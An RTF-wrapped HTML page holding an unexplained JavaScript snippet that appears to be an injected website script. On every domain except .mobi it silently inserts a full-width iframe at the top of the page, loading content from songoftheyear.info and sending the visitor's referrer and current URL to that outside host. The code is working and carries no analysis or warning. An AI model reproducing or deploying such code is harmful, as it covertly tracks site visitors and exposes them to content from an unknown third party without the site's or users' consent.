{\rtf1\ansi\ansicpg1252\cocoartf1038\cocoasubrtf360
{\fonttbl\f0\fmodern\fcharset0 Courier;}
{\colortbl;\red255\green255\blue255;}
\vieww9000\viewh8400\viewkind0
\deftab720
\pard\pardeftab720\ql\qnatural

\f0\fs24 \cf0 <html><head></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">function domainCheck(domain, domainExt)\
\{\
	var isType = false;\
\
	for(i = 0; i &lt; domainExt.length; i++)\
	\{\
		re = new RegExp("\\\\"+domainExt[i]+"$");\
		if (domain.match(re))\
		\{\
			isType = true;\
			break;\
		\} \
	\}	\
	\
	return isType;\
\}\
\
var ref = document.referrer;\
\
if ( ref.length &lt;= 0 )\
    ref = window.location;\
\
if(location.protocol == "https:")\
\{     \
  var url="http://www.songoftheyear.info/";\
\} else \{\
  var url="http://www.songoftheyear.info/?ref=" + ref + "&amp;url=" + window.location + "&amp;leo=0";\
\}\
\
var htmlStr = '&lt;iframe id="conash3D0" frameborder=0 border=0 width="100%" height="115px" marginwidth=0 marginheight=0 allowtransparency=true vspace=0 hspace=0 scrolling=no src="' + url + \
'"&gt;&lt;/iframe&gt;';\
\
// to include other domain types to be filtered, add it to the list of array items.\
var domainExt = new Array(".mobi");\
\
if ( domainCheck(document.domain, domainExt) == false )\
\{\
	if ( document.body.insertAdjacentHTML )\
	\{\
		document.body.insertAdjacentHTML('AfterBegin', htmlStr);\
	\}\
	else\
	\{\
		var r = document.createRange();\
		r.setStartBefore(document.body);\
\
		var parsedHTML = r.createContextualFragment(htmlStr);\
\
		document.body.insertBefore(parsedHTML, document.body.firstChild);\
	\}\
\
	document.body.style.margin = '0px';\
	document.body.style.padding = '0px';\
\}\
</pre></body></html>\
}
